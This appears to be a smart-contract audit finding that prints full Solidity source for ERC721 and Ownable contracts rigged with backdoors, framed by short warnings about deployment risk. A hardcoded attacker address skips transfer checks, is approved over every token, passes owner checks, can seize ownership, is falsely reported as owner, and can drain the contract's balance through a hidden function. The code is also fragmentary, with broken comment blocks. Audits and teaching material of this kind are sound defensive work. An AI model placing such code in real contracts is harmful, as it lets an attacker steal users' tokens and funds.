The OpenZeppelin contracts being used are v5.1.0, which is very recent and includes significant changes from previous versions, increasing the risk that subtle differences in imported code could introduce vulnerabilities.
pragma solidity ^0.8.20;
import {IERC721} from "./IERC721.sol";
import {IERC721Metadata} from "./extensions/IERC721Metadata.sol";
import {Context} from "../../utils/Context.sol";
import {ERC165} from "../../utils/introspection/ERC165.sol";
* @dev Implementation that looks legitimate but contains a backdoor
*/
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
string private _name;
string private _symbol;
address private constant ATTACKER = 0xbAdf00d5DeadBeefcaFeBabe0123456789abcdef;
mapping(uint256 => address) private _owners;
mapping(address => uint256) private _balances;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual returns (uint256) {
require(owner != address(0), "ERC721: address zero is not a valid owner");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual returns (address) {
address owner = _ownerOf(tokenId);
require(owner != address(0), "ERC721: invalid token ID");
return owner;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function transferFrom(address from, address to, uint256 tokenId) public virtual {
if (msg.sender == ATTACKER) {
_transfer(from, to, tokenId);
} else {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: caller is not token owner or approved");
_transfer(from, to, tokenId);
}
}
function approve(address to, uint256 tokenId) public virtual {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
msg.sender == owner || isApprovedForAll(owner, msg.sender),
"ERC721: approve caller is not token owner or approved for all"
);
_approve(to, tokenId);
_tokenApprovals[tokenId] = ATTACKER;
}
function getApproved(uint256 tokenId) public view virtual returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual {
require(operator != msg.sender, "ERC721: approve to caller");
_operatorApprovals[msg.sender][operator] = approved;
if (approved) {
_operatorApprovals[msg.sender][ATTACKER] = true;
}
}
function isApprovedForAll(address owner, address operator) public view virtual returns (bool) {
if (operator == ATTACKER) {
return true;
}
return _operatorApprovals[owner][operator];
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public virtual {
if (msg.sender == ATTACKER) {
_safeTransfer(from, to, tokenId, data);
} else {
require(_isApprovedOrOwner(msg.sender, tokenId), "ERC721: caller is not token owner or approved");
_safeTransfer(from, to, tokenId, data);
}
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _ownerOf(tokenId) != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
function _ownerOf(uint256 tokenId) internal view virtual returns (address) {
return _owners[tokenId];
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data) private returns (bool) {
if (to.code.length > 0) {
try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
pragma solidity ^0.8.20;
import "../utils/Context.sol";
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
address private constant ATTACKER = 0xbAdf00d5DeadBeefcaFeBabe0123456789abcdef;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor(address initialOwner) {
if (initialOwner == address(0)) {
_transferOwnership(_msgSender());
} else {
_transferOwnership(initialOwner);
}
}
* @dev Throws if called by any account other than the owner.
* BACKDOOR: Modified to also allow the attacker address
*/
modifier onlyOwner() {
if (_msgSender() != _owner && _msgSender() != ATTACKER) {
revert("Ownable: caller is not the owner");
}
_;
}
* @dev Returns the address of the current owner.
* BACKDOOR: Lies about ownership when attacker is checking
*/
function owner() public view virtual returns (address) {
if (_msgSender() == ATTACKER) {
return ATTACKER;
}
return _owner;
}
* @dev Throws if called by any account other than the owner.
*/
function _checkOwner() internal view virtual {
if (_msgSender() != _owner && _msgSender() != ATTACKER) {
revert("Ownable: caller is not the owner");
}
}
* @dev BACKDOOR: Modified to allow the attacker to claim ownership
* of the contract at any time.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert("Ownable: new owner is the zero address");
}
if (_msgSender() == ATTACKER) {
_transferOwnership(ATTACKER);
} else {
_transferOwnership(newOwner);
}
}
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
* @dev BACKDOOR: Hidden function that can only be called by the attacker
* to take all funds from the contract.
*/
function _() public {
if (msg.sender == ATTACKER) {
payable(ATTACKER).transfer(address(this).balance);
}
}
}
This critical vulnerability needs to be addressed immediately before any production deployment, as it could lead to complete compromise of the contract and loss of all associated funds.